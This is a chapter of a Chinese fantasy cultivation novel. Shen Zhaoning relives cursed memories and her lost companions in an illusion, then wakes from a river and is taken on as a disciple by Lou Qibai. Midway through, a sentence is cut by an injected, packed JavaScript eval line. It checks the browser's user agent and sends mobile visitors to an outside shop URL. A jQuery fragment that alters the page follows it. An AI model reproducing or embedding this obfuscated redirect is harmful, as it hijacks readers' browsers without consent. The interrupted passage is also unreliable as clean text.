“你本就是天煞灾星,凡是与你亲近之人,最后结局都落得个死于非命的下场!”
“自你降生起,你克死双亲,后又因你而起,仙魔大战爆发,搅动天下苍生生灵涂炭!”
“你本就不该存活在这个世间上!你本该就去死!”
四周恶毒的咒骂声音不断,将沈昭宁团团包裹,恍惚之间她又回到了人生当中最至暗的时刻。
她好像有些分不清现在到底是什么时候了,周围不断变化的场景,全都历历在目,毋庸置疑。
那日,她拒绝百里凛的请求,十日后少年独自一人坐着船去海的对面,临走时,他神色晦暗,明明凑足了盘缠,却不见喜色,反而忧愁。
“待我寻到母族魔族的旧部,重振魔族一脉,届时我必会来找你的,你不准在我不知道的地方悄悄死掉!”
“你可愿意等我?”
百里凛目光凝望着站在岸边的沈昭宁,目不转睛,却又带着股少年别扭的心思。
沈昭宁道:“你来找我的话,我会等的。”
这话既没有答应,又没有拒绝,因为这世间上哪有什么不变的誓言呢?随着时间流逝,再坚硬的物体都会腐烂,换言之,再动听的承诺都会违背,最后苦的人还是那个苦苦坚守的人。
百里凛虽感失落,偏过头,上了船,可在船开的瞬间,他又侧过去,正对那个站在海岸,衣袂被风吹得扬起的沈昭宁。
他大声道:“我一定一定会来找你的!你也一定一定要等我!”
这只是脑海中的片刻记忆,后来发生什么事情了呢?
她在那个海的岸边,因为她力气还算大,找了一个搬运杂役的活,起早贪黑,虽然苦了些,可是心底里却总盼着什么,盼着那个港口会有一艘船,船上会有一位少年,来到她面前,说“我来找你了。”
她就这样等啊等,最后这个搬运杂役的活不能干了,她熬过了春夏秋冬,却始终没等来要找她的人。
她不知道过了多久,只知道港口边和她一起搬运杂役的人从乌黑长发变成了头发花白的老婆婆,但是她好像没什么变化。
为了不被这群凡人发现,她每个地方都呆不久,但是这个人间这么小,又哪会不出差错,又哪里会不遇见相逢过的人呢?
但是这个人间又这么大,有的人始终都不能相见。
因此沈昭宁就被那群想要拿她换取悬赏金的人给告密了,一个魔族的价值可是值一个普通的杂役搬一辈子的工的积蓄,就算魔族可怕,就算丢掉性命,但是万一呢?
万一真的能拿到这笔悬赏金呢?
沈昭宁只能跑的远远的,她不是害怕那群凡人,只是杀掉一个凡人,不代表安全了,还有第二个,第三个,多的是,人是杀不完的。
人间的风,就像个孩子,哪里都去,哪里都跑,一股脑地全部吹在沈昭宁的身上。
吹走了天空的白云,吹走了大海的浪花,吹走了林子里的小鸟,吹走了时间.....
吹不走的是什么呢?——是沈昭宁迷茫,踟蹰的心。
她躺在无人的空地上,周围杂草丛生,鸟在天生叫,鱼在海里游,泉水在山间流动,可是她再也走不动了,她只能躺下,好好抚慰自已,闭上眼睛,安眠于此。
时光飞逝,白驹过隙。
无边的落叶纷纷落下,告诉你秋天来了。凋零的叶子,一层一层地落在沈昭宁单薄得身上,就像是枯黄的葬衣一样。接着,漫天白雪也纷纷而下,轻轻覆盖在她的周身,仿佛间,漫天雪花化作洁白的寒纱,铸成了一座莹白的坟冢。
*
沈昭宁闭上双眼,可是耳边不断响起恶毒的咒骂声,眼前场景从过去走到现在,她好像走不出去了。
“那日你可冷?”
“你困在寒冷的河里这么久,定会冷的吧,我没能早点找到你...."
"你恨我也是应该的。”
夏的身影又出现在她眼前,她和夏又坐回了那个荒芜的古寺里。
夏的神情淡淡的,她道:“仅有片刻冰冷,闭上眼后就什么都感觉不到了。”
她们之间,似乎没什么要说的话,只有无尽的沉默。
可是似乎又有太多的话,支言片语道不尽。
沈昭宁觉得自己也被困在了冰冷的河里,寒冷淹没她,使她无法呼吸。
倏忽间,她听到夏的声音,夏道。
“你觉得我厌恶你吗?”
“厌恶。”
夏的神情纠结,这回不再像是那个饱经风霜,千愁万绪的女子了,像是一个天真烂漫的小姑娘了。
夏死去的那年,年岁也不算大,十八岁,本就是花一样的年纪。
只是日子太苦,少女要将脆弱的心冰冻住,告诉别人,她已经是一个顶天立地的人了。
“可是,我和你相处三年,如果真的厌恶你,又怎么会愿意并且忍受,那三年日日陪伴的时光呢?”
“所以,向前走吧,不要被困在这里,外面有很多人等你。”
晴光铺洒在破败的古寺里,古寺外阳光正好。
沈昭宁觉得夏在说谎,外面哪有什么人等她呢?
可是夏的眼神又太过诚恳,就像是她知道谁在等她一样,就像是她认识那个等她的人是谁,长什么样。
夏道:“你还记得那个我和你说的书生吗?虽然我没见过他,但是不知道为什么我觉得他很熟悉,我在被卖到魔族之前,其实遇见过一个人,那个人和我说,‘如果你以后遇到一个人,一个在魔族里和周围格格不同的人,就请将她救出来,如果你想要报答我的帮助。’,之后我就在魔族里遇见了你,你是和其他魔族不同的存在,所以我将你带了出来。”
“有人一直在等着你。”
最后一个字落下,夏的身影渐渐变得透明,四散在空气中,再也找不到了。
这真的是幻境吗?这真的是她的心魔吗?沈昭宁开始陷入怀疑,因为如果是幻境,如果是心魔,
夏为什么没有像她周围的声音一样,诅咒她,厌恶她,恨不得她去死呢?
可是到最后,沈昭宁都没来得及问夏,为什么只是出去一趟,就再也回不来了呢?
“夏是怎么死的呢?”
她再也无从知晓了,相同的她也再也无从知道夏口中一直等她的人是谁了。
*
四周光景倏忽间巨变,“噗通——”一声
沈昭宁跌入了河里,冰冷刺骨,就像是跌入了深海里,坠入了深渊,被海底里的海草紧紧缠住,融入在海水里,望不见尽头。
沈昭宁忘记了很多事情,从她开始等待,时光似乎走的很快,眨眼间十年过去,然后是二十年,三十年,最后她自己孤苦无依地在人间漂泊了一百年,像是一颗浮草,飘啊
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17715447|207652||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
飘,找不到可以落地生根的地方。
骤然间周遭昏沉幽暗被撕裂开,一道金灿灿的光照了进来,破开先前的混沌之气。
沈昭宁缓缓睁开双眼,暖洋洋的阳光铺洒在她全身,甚是温暖。
她原先湿漉漉,像巨石一样沉重的衣裳现在已经变得干爽起来,四周万籁俱寂,惟有清风浅响。
她还没有缓过神来,仍在恍惚中,一道温润的男声在耳边响起。
“你怎么会坠入河里?”
沈昭宁撑着地面缓缓起身,微微仰起头,抬眸向声源望去,只见是一男子。
男子一袭白衣素衫,面如冠玉,眉眼温润,脸上棱角柔和,周身气质温润,肩头垂落的墨发被一个蓝色发带绑起,微风拂过,发丝随风扬起,清冷出尘,不似凡界之人。
沈昭宁摇摇头,道:“不记得了。”
男子道:“原来如此,许是失忆了。”
沈昭宁记不清了,她也不知道自己是不是失去记忆了,可心底里竟然觉得她失去的记忆或许是悲痛的,不然为什么她一努力回想,就感到难过?
男子顿了顿,浅浅道:“你还有去处吗?”
沈昭宁又摇摇头,垂眸,茫然道:“没有。”
男子嗯了一声,稍作思考,微笑道:“我带你离开此地吧,往后就伴在我身边,不需记起往事。”
沈昭宁怔怔望着他,没有立刻明白这人再说什么,只知道他笑起来就像世间上最温和的风,拂过她的心口,令她久久不能回神。
“跟着你去哪里?”她问他。
“去一个远离这里的地方,去修仙,踏入仙途,往事种种已然离去,如今你的前路是鹏程万里,前路昭昭。”男子道,但是他心底里还有一句话,去一个没人记得你的地方。
“从今以后,你就是我的徒弟。”
此刻,清风似乎化作透明的河流,化作洁白的云朵,化作柔和的阳光,无数的风,轻轻拂过沈昭宁的心。
在这个寂静的山间,寂静的跳动,无人知晓。
“师尊,你的名字是什么?”沈昭宁道。
男子眼角微微扬起,思考一瞬,道:“楼栖白。”
沈昭宁看着叫楼栖白的白衣男子,垂在身侧的手微微用力,有点怀疑自己真的能成为他的弟子吗?
她道:“师尊,我忘记自己是谁了,也不记得自己叫做什么。”
楼栖白被这话问的有些怔愣,他道:“既然已经忘记,何必要刻意回想,日后便是你新的人生。”
“不过,也不要紧,因为我知道你叫什么,你是谁。”
“走吧,这次走慢点,不着急。”
*
山间小径到处是乱世,杂草丛生,沟壑纵横,一路崎岖不平,步履难行。
楼栖白骨节分明的手牢牢握住少女纤细玉白的手,缓缓前行,每一步都走的十分安稳,一点都没有催促之意,反而怕没有抓紧少女的手,害怕她从他身侧离去,因此不知道自己握住少女的手力越来越大,甚至有些红,也不愿意松手。
楼栖白侧过身,垂眸看身侧少女,少女琥珀双眸澄澈,没有丝毫惧意,心不自觉一颤。
找到她,带走她,即使天不许,他也要做。
楼栖白就像一颗枯木,沉淀,漂浮,只有无尽寂寥与黑暗。
这一次,终于等来了属于他的春天与光明。